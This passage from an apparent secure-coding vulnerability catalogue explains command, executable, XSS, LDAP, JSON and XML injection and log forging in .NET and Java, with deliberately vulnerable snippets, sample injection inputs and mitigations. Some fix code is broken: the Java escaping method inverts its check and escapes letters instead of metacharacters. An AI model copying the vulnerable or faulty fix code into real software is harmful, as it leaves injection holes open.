Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial command argument in the program, result in OS Command Injection. The attacker can potentially manipulate the command arguments and access the system that he can't access otherwise.

For example, by sending a path to an APK downloaded to an external storage, the attacker may install an unauthorized application on the device that he can't pull otherwise. Or the attacker may execute an extra, unauthorized OS command and list the contents of the current application directory that he can't access otherwise.

Mitigation

Technology	.NET

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code.

The below code defines a method that uses simple Windows OS command escape character (^) for proper escaping of meta characters;

```
static string EscapeForWindows(string input){
   string escapedInput = String.Empty;
   if (String.IsNullOrEmpty(input))
   {
      return escapedInput;
   }
   char [] charsInParam = input.ToCharArray();
   foreach (char aChar in charsInParam)
   {
      if (!char.IsLetterOrDigit(aChar) && aChar != ' ')
      {
         escapedInput += "^" + aChar;
      }
      else
      {
```

```
            escapedInput += aChar;
        }
    }
    return escapedInput;
}
```

After defining the method, wrapping Request["host"] with it yield an encoded and therefore sanitized version of the input. The rest of the code is the same.

```
String escapedInput = EscapeForWindows(Request["host"]);
Process.Start("cmd.exe", "/C ping.exe " + escapedInput);
```

Technology	JAVA

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code.

The below code defines a method that uses simple Windows OS command escape character (^) for proper escaping of meta characters;

```
static string EscapeForWindows(String input){
    String escapedInput = “”;
    if (input == null)
    {
        return escapedInput;
    }
    char [] charsInParam = input.toCharArray();
    for (char aChar : charsInParam)
    {
        if ( (Character.isLetter(aChar) || Character.isDigit(aChar)) && aChar != ' ')
        {
            escapedInput += "^" + aChar;
        }
        else
        {
            escapedInput += aChar;
        }
    }
    return escapedInput;
}
```

After defining the method, wrapping request.getParameter("host") with it yield an encoded and therefore sanitized version of the input. The rest of the code is the same.

```
String escapedInput = EscapeForWindows(request.getParameter("host"));
Runtime runtime = Runtime.getRuntime();
runtime.exec("cmd.exe /C ping.exe " + escapedInput);
```

Technology	JAVA

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code.

Since there's no prepared statements nor known escape methodology for Android, it's wise to never concatenate untrusted inputs without prior validation such as strict whitelisting.

References	

- CWE-78
- CWE-77
- HIPAA Security Rule 45 CFR 164.312(a)(1)
- HIPAA Security Rule 45 CFR 164.312(c)(2)
- OWASP Top 10 A1
- PCI DSS 6.5.1

Executable Injection

Title	Executable Injection
Summary	The attacker can force the application to run insecure executable on the target operating system which leads to information disclosure or total system ownage
Severity	Medium
Cost Fix	Low
Trust Level	Medium

ID	
Description	Rarely applications have the requirement of interacting with the Operating System they run on. In order to cater this requirement, programming languages provide APIs for OS communications. One way of executing an outside executable is presented below; AppDomain aDomain = AppDomain.CreateDomain("aDomain"); var ret = aDomain.ExecuteAssembly(pathToExecutable); The code above dynamically creates a different domain than the current one then loads and executes an outside executable (might be DLL or exe with entry points). If there's any chance that *pathToExecutable* is untrusted, loaded from .config configuration files, database or directly from user input, then loading a malicious executable and running it is inevitable.
Mitigation	Any outside resource that an executable will be loaded from should be validated against a whitelist approach. The sources of an outside, dynamically loaded executables should be assessed from a risk analysis perspective and secured.
References	• CWE-114 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Reflected Cross Site Scripting

Title	Reflected Cross Site Scripting
Summary	The attacker can send crafted script payloads into the application and steal end-users credentials by making application showing them fake, rouge interfaces or HTML.
Severity	High
Cost Fix	Low
Trust Level	High

ID	
Description	
Technology	.NET

Cross site scripting (XSS) is somewhat a controversial web application vulnerability type. Some claim that XSS is “the next buffer overflow vulnerabilities”, the others claim that prevention is nothing but a waste of time since little damage can be done by an attacker exploiting an XSS vulnerability.

No matter the perspective you are looking with, it is wise to prevent XSS vulnerabilities since under certain conditions this weakness can result in complete ownage of the target system, such as certain XSS weaknesses in WordPress content management system.

There are more than one type of XSS attacks, mainly;

- Reflected XSS
- Stored XSS
- Dom-based XSS

But at the heart of the problem stems from outputting untrusted user data into the HTML.

Let the backend code is similar to the following snippet;

```
protected void Button1_Click(object sender, EventArgs e)
{
    Label1.Text = TextBox1.Text;
}
```

For example, by sending <script>prompt(1)</script> as TextBox1 HTTP parameter, the attacker may execute the script of his choosing in the browser and more importantly under the target application’s domain (URL). Being able to execute random javascript in browsers under the target domain bypasses every Same Origin Policy (SOP) related limitations that browsers enforce. When SOP is bypassed this way, attacker’s javascript may steal current end-user’s cookies, show fake HTML interfaces, send and receive HTTP requests to the target application.

The way that the attacker makes the end-user to click a link, or open a target web application is outside of the scope, however, there are very persuasive ways of pulling these off.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as TextBox1 coming from the user, and code, as the partial HTML code in the code behind, result in XSS. The attacker can potentially manipulate the produced HTML and access the information that he can't access otherwise.

Technology	JAVA

Cross site scripting (XSS) is somewhat a controversial web application vulnerability type. Some claim that XSS is "the next buffer overflow vulnerabilities", the others claim that prevention is nothing but a waste of time since little damage can be done by an attacker exploiting an XSS vulnerability.

No matter the perspective you are looking with, it is wise to prevent XSS vulnerabilities since under certain conditions this weakness can result in complete ownage of the target system, such as certain XSS weaknesses in WordPress content management system.

There are more than one type of XSS attacks, mainly;

- Reflected XSS
- Stored XSS
- Dom-based XSS

But at the heart of the problem stems from outputting untrusted user data into the HTML.

Let the backend code is similar to the following snippet;

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
  response.setContentType("text/html");

  String name = request.getParameter("name");
  PrintWriter out = response.getWriter();
   ...
  out.print("Welcome " + name);
```

For example, by sending <script>prompt(1)</script> as name HTTP parameter, the attacker may execute the script of his choosing in the browser and more importantly under the target application's domain (URL). Being able to execute random javascript in browsers under the target domain bypasses every Same Origin Policy (SOP) related limitations that browsers enforce. When SOP is bypassed this way, attacker's javascript may steal current end-user's cookies, show fake HTML interfaces, send and receive HTTP requests to the

target application.

The way that the attacker makes the end-user to click a link, or open a target web application is outside of the scope, however, there are very persuasive ways of pulling these off.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as TextBox1 coming from the user, and code, as the partial HTML code in the code behind, result in XSS. The attacker can potentially manipulate the produced HTML and access the information that he can't access otherwise.

Mitigation

Technology	.NET

Without the help of the framework being used, it can be difficult to mitigate every single XSS weaknesses in the code. However, it is not impossible. The key element in preventing XSS vulnerabilities is called contextual encoding. Contextual encoding means we, as developers, should make sure that appropriate encoding methods are applied writing our view pages.

For example, when writing WebForms application most of the components utilize HTML encoding, however, some don't, such as asp:Label. Therefore, when providing user controlled strings to Text property of this component, HTML Encoding should be used.

As another example, consider the below ASP.NET MVC view code;

```
<script type="javascript">
    var s = "<%: userInput %>";
</script>
```

Without proper encoding applied the above code is susceptible to XSS attacks through JS injection by the attacker providing an input such as

```
"; prompt(1); //
```

The above user input and the above code will produce an HTML similar to the following;

```
<script type="javascript">
    var s = ""; prompt(1); //";
</script>
```

This allows attacker to execute any javascript code under the same domain with target application in tricked end-users' browsers. In order to mitigate this %100, javascript encoding should be used.

```
<script type="javascript">
   var s = "<%: Encoder.JavascriptEncode(userInput) %>";
</script>
```

Then the question arises, where can I find a decent encoding library? Microsoft's AntiXSS library prove to be such a good API for encoding against XSS.

Technology	JAVA

Without the help of the framework being used, it can be difficult to mitigate every single XSS weaknesses in the code. However, it is not impossible. The key element in preventing XSS vulnerabilities is called contextual encoding. Contextual encoding means we, as developers, should make sure that appropriate encoding methods are applied writing our view pages.

For example, when writing WebForms application most of the components utilize HTML encoding, however, some don't, such as asp:Label. Therefore, when providing user controlled strings to Text property of this component, HTML Encoding should be used.

As another example, consider the below JSP code;

```
<script type="javascript">
   var s = "<%= userInput %>";
</script>
```

Without proper encoding applied the above code is susceptible to XSS attacks through JS injection by the attacker providing an input such as

```
"; prompt(1); //
```

The above user input and the above code will produce an HTML similar to the following;

```
<script type="javascript">
   var s = ""; prompt(1); //";
</script>
```

This allows attacker to execute any javascript code under the same domain with target application in tricked end-users' browsers. In order to mitigate this %100, javascript encoding should be used.

```
<script type="javascript">
   var s = "<%= Encode.forJavaScriptBlock(userInput) %>";
</script>
```

Then the question arises, where can I find a decent encoding library? OWASP Encoder Project library prove to be a good API for encoding against XSS.

References	• CWE-78 • CWE-80 • CWE-87 • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B) • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A3 • PCI DSS 6.5.7

LDAP Injection

Title	LDAP Injection
Summary	The attacker can inject unauthorized partial LDAP query strings and steal information, such as user passwords, or apply company wide password guessing attacks
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET
LDAP (Lightweight Directory Access Protocol) is a directory service protocol providing a mechanism to search and manipulate Internet directories. It's common usage is to provide central storage for corporate users information, such as usernames, passwords and etc.	

For example, especially in intranet portals, it's common to provide interfaces to users to enable them searching their colleagues data by providing certain search keywords, such as email addresses or names.

Let the backend code is similar to the following snippet;

```
DirectorySearcher ds = new DirectorySearcher();
ds.Filter =  "(&(objectClass=user)(name=" + Request["name"] + ")";
SearchResultCollection results = ds.FindAll();
```

For example, by sending admin)(mail=a* as Request["name"], the attacker may deduce that the user with username *admin* has an email address starting with character a if the result returns the details of the admin user. This is called blind injection and can be an effective method to guess a stored and hashed password easily.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial LDAP filter in the program, result in LDAP injection. The attacker can potentially manipulate the LDAP filter and access the information that he can't access otherwise.

Technology	JAVA

LDAP (Lightweight Directory Access Protocol) is a directory service protocol providing a mechanism to search and manipulate Internet directories. It's common usage is to provide central storage for corporate users information, such as usernames, passwords and etc.

For example, especially in intranet portals, it's common to provide interfaces to users to enable them searching their colleagues data by providing certain search keywords, such as email addresses or names.

Let the backend code is similar to the following snippet;

```
String searchFilter = "(&(objectClass=user)(name=" + name + "))";
DirContext ctx = new InitialDirContext(env);
NamingEnumeration<SearchResult> answer = ctx.search(searchBase, searchFilter, searchCtls);
...
```

For example, by sending admin)(mail=a* as request.getParameter("name"), the attacker may deduce that the user with username *admin* has an email address starting with character a if the result returns the details of the admin user. This is called blind injection and can be an effective method to guess a stored and hashed password easily.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial LDAP filter in the program, result in LDAP injection. The attacker can potentially manipulate the LDAP filter and access the information that he can't access otherwise.

Mitigation

Technology	.NET

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code.

The below code uses Microsoft AntiXSS Library for proper contextual encoding;

```
using Microsoft.Application.Security;
...
string encodedName = Encoder.LdapFilterEncode(Request["name"]);
DirectorySearcher ds = new DirectorySearcher();
ds.Filter =  "(&(objectClass=user)(name=" + encodedName + ")";
SearchResultCollection results = ds.FindAll();
```

Technology	JAVA

As nearly with all of the injection problems, the mitigation is involved in two different protections;

- If possible, try to use prepared statements instead of mixing code and untrusted data
- If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code.

The below code uses Spring Framework's provided LDAP encoding method for proper contextual encoding;

```
import org.springframework.ldap.support.LdapEncoder;

...
name = LdapEncoder.filterEncode(name);
String filter = "(&(objectClass=user)(name=" + name + "))";
DirContext ctx = new InitialDirContext(env);
NamingEnumeration<SearchResult> answer = ctx.search(searchBase, searchFilter, searchCtls);
...
```

References	• CWE-90 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

LDAP Resource Injection

Title	LDAP Resource Injection
Summary	The attacker can inject unauthorized partial LDAP connection strings and manipulate LDAP queries that lead to stealing information or denial of service attacks
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

LDAP (Lightweight Directory Access Protocol) is a directory service protocol providing a mechanism to search and manipulate Internet directories. It's common usage is to provide central storage for corporate users, assets information, such as usernames, passwords and etc.

For example, especially in intranet portals, it's common to provide interfaces to users to

enable them searching their colleagues data by providing certain search keywords, such as email addresses or names.

Let the backend code is similar to the following snippet;

```
try
{
  DirectoryEntry entry = new DirectoryEntry("LDAP://myintra.corp:389/" + input.Text+ "/");
  entry.AuthenticationType = AuthenticationTypes.SecureSocketsLayer;
  DirectorySearcher searcher = new DirectorySearcher(entry, filter);
  …
```

Since the LDAP URL is formed using an untrusted input, malicious users may manipulate the connection string and create both denial of service or privilege of escalation issues.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial LDAP connection string in the program, result in LDAP resource injection. The attacker can potentially manipulate the LDAP connection string or filter and access the information that he can't access otherwise.

Technology	JAVA

LDAP (Lightweight Directory Access Protocol) is a directory service protocol providing a mechanism to search and manipulate Internet directories. It's common usage is to provide central storage for corporate users, assets information, such as usernames, passwords and etc.

For example, especially in intranet portals, it's common to provide interfaces to users to enable them searching their colleagues data by providing certain search keywords, such as email addresses or names.

Let the backend code is similar to the following snippet;

```
String searchBase = "ou=people," + request.getParameter("company") + ",dc=com";
DirContext ctx = new InitialDirContext(env);
NamingEnumeration<SearchResult> answer = ctx.search(searchBase, searchFilter, searchCtls);
...
```

Since the LDAP URL is formed using an untrusted input, malicious users may manipulate the connection string and create both denial of service or privilege of escalation issues.

Every injection attack occurs because of mixing code and untrusted data in the code. As

developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial LDAP connection string in the program, result in LDAP resource injection. The attacker can potentially manipulate the LDAP connection string or filter and access the information that he can't access otherwise.

Description	
Technology	.NET
Applying a whitelist input strategy is a must for preventing LDAP Resource Injection vulnerabilities. Untrusted user provided input, should be checked against a strict connection string regular expression, such as against a meaningful OU names, port range or whitelisted URLs, IP addresses or domain names.	
Technology	JAVA
Applying a whitelist input strategy is a must for preventing LDAP Resource Injection vulnerabilities. Untrusted user provided input, should be checked against a strict connection string regular expression, such as against a meaningful OU names, port range or whitelisted URLs, IP addresses or domain names.	
References	• CWE-90 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

JSON Injection

Title	JSON Injection
Summary	The attacker can inject partial JSON structs to the application and manipulate the JSON output which may lead from denial of service to unauthorized access to system resources
Severity	Critical
Cost Fix	Low
Trust Level	Medium

ID	
Description	
Technology	.NET

JSON is the de-facto web standard for HTTP communication. However, it's not only used as communicated data structure, but also for data storage.

An example code that outputs JSON using the user input follows;

```
using Newtonsoft.Json;

...
StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);

using (JsonWriter writer = new JsonTextWriter(sw))
{
  writer.Formatting = Formatting.Indented;
  writer.WriteStartObject();

  writer.WritePropertyName("username");
  writer.WriteValue(username);

  writer.WritePropertyName("dob");
  writer.WriteValue(dob);

  writer.WritePropertyName("fullname");
  writer.WriteRawValue("\"" + fullname + "\"");

  writer.WriteEnd();
  writer.WriteEndObject();
}
string json = sb.ToString();

// write json to disk
```

The code above gets *fullname* from an untrusted source (the attacker for example) and writes it to JSON with *WriteRawValue* method, which doesn't apply any meta character normalization for JSON. Therefore, the attacker might send a partial JSON string for *fullname* parameter and intentionally manipulate the JSON that will be produced later for processing.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information

(code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial JSON statements, result in JSON injection. The attacker can potentially manipulate the overall JSON output and access the information that he can't access otherwise when this manipulated JSON is processed later on.

Technology	JAVA

JSON is the de-facto web standard for HTTP communication. However, it's not only used as communicated data structure, but also for data storage.

An example code that outputs JSON using the user input follows;

```
public class Person {
        public String name;

        @JsonRawValue
        public String fullName;

        public DateTime dob;
}

// instantiate Person with untrusted input
...

ObjectMapper objectMapper = new ObjectMapper();
String output = objectMapper.writeValueAsString(person);
```

Assume the POJO code above gets *fullName* from an untrusted source (the attacker for example) and writes it to JSON with *@JsonRawValue* attribute, which doesn't apply any meta character normalization for JSON. Therefore, the attacker might send a partial JSON string for *fullname* parameter and intentionally manipulate the JSON that will be produced later for processing.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial JSON statements, result in JSON injection. The attacker can potentially manipulate the overall JSON output and access the information that he can't access otherwise when this manipulated JSON is processed later on.

Mitigation

Technology	.NET

As nearly with all of the injection problems, the mitigation is involved in two different

protections; ● If possible, try to use prepared statements instead of mixing code and untrusted data ● If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code. So instead of using raw methods for outputting JSON parts, methods such as *JsonTextWriter.WriteValue* should be utilized.

Technology	JAVA
As nearly with all of the injection problems, the mitigation is involved in two different protections; ● If possible, try to use prepared statements instead of mixing code and untrusted data ● If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code. Writing especially user supplied raw values into a JSON stream should be prohibited as much as possible.	
References	● CWE-74 ● HIPAA Security Rule 45 CFR 164.312(a)(1) ● HIPAA Security Rule 45 CFR 164.312(c)(2) ● OWASP Top 10 A1 ● PCI DSS 6.5.1

XML Injection

Title	XML Injection
Summary	The attacker can inject partial XML structs to the application and manipulate the XML output which may lead from denial of service to unauthorized access to system resources
Severity	High

Cost Fix	Low
Trust Level	Medium
ID	
Description	
Technology	.NET

XML is one of mostly used data structure for data storage and processing albeit it's not that popular as it used to be. However, especially technologies starting from the early 2000s and an important of the current technologies still depend on the processing and usage of this data definition and structure standard.

An example code that outputs XML using the user input follows;

```
using System.Xml

using (XmlWriter writer = XmlWriter.Create("employees.xml"))
{
  writer.WriteStartDocument();
  writer.WriteStartElement("Employees");

  foreach (Employee employee in employees)
  {
            writer.WriteStartElement("Employee");

            writer.WriteElementString("ID", employee.Id.ToString());
            writer.WriteRaw("<FirstName>" + employee.FirstName + "</FirstName>");
            writer.WriteRaw("<LastName>" + employee.LastName + "</LastName>");

            writer.WriteEndElement();
  }
  ...
```

The code above gets *FirstName and LastName* from an untrusted source (the attacker for example) and writes it to XML with *WriteRaw* method, which doesn't apply any meta character encoding for XML. Therefore, the attacker might send a partial XML string for *FirstName* parameter and intentionally manipulate the XML that will be produced later for processing.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name

coming from the user, and code, as the partial XML statements, result in XML injection. The attacker can potentially manipulate the overall XML output and access the information that he can't access otherwise when this manipulated XML is processed later on.

Technology	JAVA

XML is one of mostly used data structure for data storage and processing albeit it's not that popular as it used to be. However, especially technologies starting from the early 2000s and an important of the current technologies still depend on the processing and usage of this data definition and structure standard.

An example code that outputs XML using the user input follows;

```
Writer out = new StringWriter();
XMLStreamWriter writer = XMLOutputFactory.newInstance().createXMLStreamWriter(out);
writer.writeStartDocument();

foreach (Employee employee in employees)
{
  writer.writeStartElement("Employee");

  writer.flush(); // important

  out.write("<FirstName>" + employee.FirstName+ "</FirstName>");
  out.write("<LastName>" + employee.LastName+ "</LastName>");
  out.flush();

  writer.writeEndElement();
  writer.flush();
}
```

The code above gets *FirstName and LastName* from an untrusted source (the attacker for example) and writes it to XML with stream's *write* method, which doesn't apply any meta character encoding for XML. Therefore, the attacker might send a partial XML string for *FirstName* parameter and intentionally manipulate the XML that will be produced later for processing.

Every injection attack occurs because of mixing code and untrusted data in the code. As developers, we are rarely provided secure APIs in order to keep these two information (code and data) apart, until the runtime. In the above code, mixing the data, as name coming from the user, and code, as the partial XML statements, result in XML injection. The attacker can potentially manipulate the overall XML output and access the information that he can't access otherwise when this manipulated XML is processed later on.

Mitigation

Technology	.NET
As nearly with all of the injection problems, the mitigation is involved in two different protections; ● If possible, try to use prepared statements instead of mixing code and untrusted data ● If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code. So instead of using raw methods for outputting XML parts, methods such as *XMLWriter.WriteElementString or XMLWriter.WriteAttributeString* should be utilized.	
Technology	JAVA
As nearly with all of the injection problems, the mitigation is involved in two different protections; ● If possible, try to use prepared statements instead of mixing code and untrusted data ● If the above is not possible make sure the special characters in the untrusted data will loose their meta character meanings. That is to say, in short, apply contextual encoding on the untrusted data before mixing it with code. So instead of using raw streams' write methods for outputting XML parts, methods such as *XMLStreamWriter.writeStartElement or XMLStreamWriter.writeAttribute* should be utilized.	
References	● CWE-74 ● HIPAA Security Rule 45 CFR 164.312(a)(1) ● HIPAA Security Rule 45 CFR 164.312(c)(2) ● OWASP Top 10 A1 ● PCI DSS 6.5.1

Log4j Forging

Title	Log Forging for Apache log4j
Summary	By forging log entries the attacker can hide his/her malicious requests

	against the application or make innocent users seem malicious
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	

Description

Technology	JAVA

Logging is an important aspect of programming. Log entries produced at runtime help developers to quickly analyze the bugs without too much effort. Additionally operation teams can recognize abnormal behaviors by analyzing the log entries. Moreover, historical log entries are a vital source of information for security teams and forensic analyzers after a successful attack in order to find the root cause and the attacker.

Therefore, the integrity of the log files should be strictly provided. The code that produces a log entry may look like the following;

```
String uname = request.getParameter("username");
Logger.info("Failed authentication for: " + uname);
```

Here, the developer produces a warning log entry when the authentication for a user fails, for example, when a wrong password is provided. As you can see the username is logged to be more descriptive for the long term as opposed to user id, since the users may be deleted from the system.

At runtime, this code may produce a log entry as the following;

```
11.02.2011 11276 [main] INFO org.foo.Bar – Failed authentication for eve
```

However, if the attacker provides new line characters along with the username parameter, then producing (forging) the following log entries are also possible;

```
11.02.2011 11276 [main] INFO org.foo.Bar – Failed authentication for eve
11.02.2011 31876 [main] INFO org.foo.Bar – Bad Request from alice
11.02.2011 31876 [main] INFO org.foo.Bar – Bad Request from bob
```

The last two lines of log entries are forged. Of course, the attacker should have the

knowledge of the log structure beforehand, however, most of the log structures are similar and when this is not enough, it may be possible that this knowledge comes from an insider or leaked through the Internet forums by accidental or intentional log pasting.

Mitigation

Since extra log entries should be produced by using newline (CR/LF) characters, disallowing or sanitizing these two characters will prevent any forging.

```
String uname = request.getParameter("username");
String readyForLogging = uname.replace('\n', '_').replace('\r', '_');
Logger.info(readyForLogging);
```

While this method of mitigation seems to be using blacklist sanitization, which is a bad security practice, it is somewhat acceptable in this situation. However, the a more secure control would be to apply a strict whitelist validation against username parameter.

Additionally, this sanitization should be applied only for strings that are going to log entries and coming from untrusted sources, such as HTTP requests.

References	• CWE-117 • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Log4net Forging

Title	Log Forging for Apache log4net
Summary	By forging log entries the attacker can hide his/her malicious requests against the application or make innocent users seem malicious
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	

Description

Technology	.NET

Logging is an important aspect of programming. Log entries produced at runtime help developers to quickly analyze the bugs without too much effort. Additionally operation teams can recognize abnormal behaviors by analyzing the log entries. Moreover, historical log entries are a vital source of information for security teams and forensic analyzers after a successful attack in order to find the root cause and the attacker.

Therefore, the integrity of the log files should be strictly provided. The code that produces a log entry may look like the following;

```
logger.warn("Failed authentication for: "+ Request["username"]);
```

Here, the developer produces a warning log entry when the authentication for a user fails, for example, when a wrong password is provided. As you can see the username is logged to be more descriptive for the long term as opposed to user id, since the users may be deleted from the system.

At runtime, this code may produce a log entry as the following;

```
11.02.2011 11276 [main] INFO org.foo.Bar – Failed authentication for eve
```

However, if the attacker provides new line characters along with the username parameter, then producing (forging) the following log entries are also possible;

```
11.02.2011 11276 [main] INFO org.foo.Bar – Failed authentication for eve
11.02.2011 31876 [main] INFO org.foo.Bar – Bad Request from alice
11.02.2011 31876 [main] INFO org.foo.Bar – Bad Request from bob
```

The last two lines of log entries are forged. Of course, the attacker should have the knowledge of the log structure beforehand, however, most of the log structures are similar and when this is not enough, it may be possible that this knowledge comes from an insider or leaked through the Internet forums by accidental or intentional log pasting.

Mitigation

Since extra log entries should be produced by using newline (CR/LF) characters, disallowing or sanitizing these two characters will prevent any forging.

```
String readyForLogging = Request["username"];
// null check here
readyForLogging= message.Replace( '\n', '_' ).Replace( '\r', '_' );
logger.warn("Failed authentication for: "+ readyForLogging);
```

While this method of mitigation seems to be using blacklist sanitization, which is a bad security practice, it is somewhat acceptable in this situation. However, the a more secure control would be to apply a strict whitelist validation against username parameter. Additionally, this sanitization should be applied only for strings that are going to log entries and coming from untrusted sources, such as HTTP requests.

References	• CWE-117 • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Nlog Forging

Title	Log Forging for Nlog
Summary	By forging log entries the attacker can hide his/her malicious requests against the application or make innocent users seem malicious
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Logging is an important aspect of programming. Log entries produced at runtime help developers to quickly analyze the bugs without too much effort. Additionally operation teams can recognize abnormal behaviors by analyzing the log entries. Moreover, historical log entries are a vital source of information for security teams and forensic analyzers after a successful attack in order to find the root cause and the attacker.

Therefore, the integrity of the log files should be strictly provided. The code that produces a log entry may look like the following;

```
logger.warn("Failed authentication for: "+ Request["username"]);
```

Here, the developer produces a warning log entry when the authentication for a user fails, for example, when a wrong password is provided. As you can see the username is logged to be more descriptive for the long term as opposed to user id, since the users may be deleted from the system.

At runtime, this code may produce a log entry as the following;

```
11.02.2011 11276 [main] INFO org.foo.Bar – Failed authentication for eve
```

However, if the attacker provides new line characters along with the username parameter, then producing (forging) the following log entries are also possible;

```
11.02.2011 11276 [main] INFO org.foo.Bar – Failed authentication for eve
11.02.2011 31876 [main] INFO org.foo.Bar – Bad Request from alice
11.02.2011 31876 [main] INFO org.foo.Bar – Bad Request from bob
```

The last two lines of log entries are forged. Of course, the attacker should have the knowledge of the log structure beforehand, however, most of the log structures are similar and when this is not enough, it may be possible that this knowledge comes from an insider or leaked through the Internet forums by accidental or intentional log pasting.

Mitigation

Since extra log entries should be produced by using newline (CR/LF) characters, disallowing or sanitizing these two characters will prevent any forging.

```
String readyForLogging = Request["username"];
// null check here
readyForLogging= message.Replace( '\n', '_' ).Replace( '\r', '_' );
logger.warn("Failed authentication for: "+ readyForLogging);
```

While this method of mitigation seems to be using blacklist sanitization, which is a bad security practice, it is somewhat acceptable in this situation. However, the a more secure control would be to apply a strict whitelist validation against username parameter.

Additionally, this sanitization should be applied only for strings that are going to log entries and coming from untrusted sources, such as HTTP requests.

References	
	● CWE-117 ● HIPAA Security Rule 45 CFR 164.312(c)(2) ● OWASP Top 10 A1 ● PCI DSS 6.5.1

Insecure Database Administrative Mechanism

Title	Insecure Database Administrative Mechanism
Summary	The attacker can execute direct sql commands on the remote database that application uses leading to sensitive information theft or total system ownage
Severity	Critical
Cost Fix	Medium
Trust Level	High
Labels	database
ID	

Description

Technology	.NET

Sometimes it may be desirable to allow application administrators to run free text administrative operations on the backend servers. Most of the time this ability is implemented through executing free SQL statements with data provided directly from the administrators or support members through the web application.

As it may be a requirement in order to provide a fast analysis for support users, this mechanism may lead to various and very dangerous security exploits.

Let the backend code is similar to the following snippet;

```
SqlConnection con = new SqlConnection(connStr);
SqlCommand sqlComm = new SqlCommand(con);
sqlComm.CommandText = TextBox1.Text;
con.Open();
SqlDataReader DR = sqlComm.ExecuteReader();
```

Here the application provides a free text box where, probably authenticated and authorized, user can enter any SQL statements and execute on the target database and get the results.

Although very similar to SQL Injection, this is not a code and data mix. Still with the existence of vulnerabilities such as XSS or CSRF, it may be quite possible for an attacker to execute any SQL statements on behalf of the victim support member, for example.

Technology	JAVA

Sometimes it may be desirable to allow application administrators to run free text administrative operations on the backend servers. Most of the time this ability is implemented through executing free SQL statements with data provided directly from the administrators or support members through the web application.

As it may be a requirement in order to provide a fast analysis for support users, this mechanism may lead to various and very dangerous security exploits.

Let the backend code is similar to the following snippet;

```
statement = connect.createStatement();
sqlStatement = request.getParameter("sql");
resultSet = statement.executeQuery(sqlStatement);
```

Here the application provides a free text box where, probably authenticated and authorized, user can enter any SQL statements and execute on the target database and get the results.

Although very similar to SQL Injection, this is not a code and data mix. Still with the existence of vulnerabilities such as XSS or CSRF, it may be quite possible for an attacker to execute any SQL statements on behalf of the victim support member, for example.

Mitigation

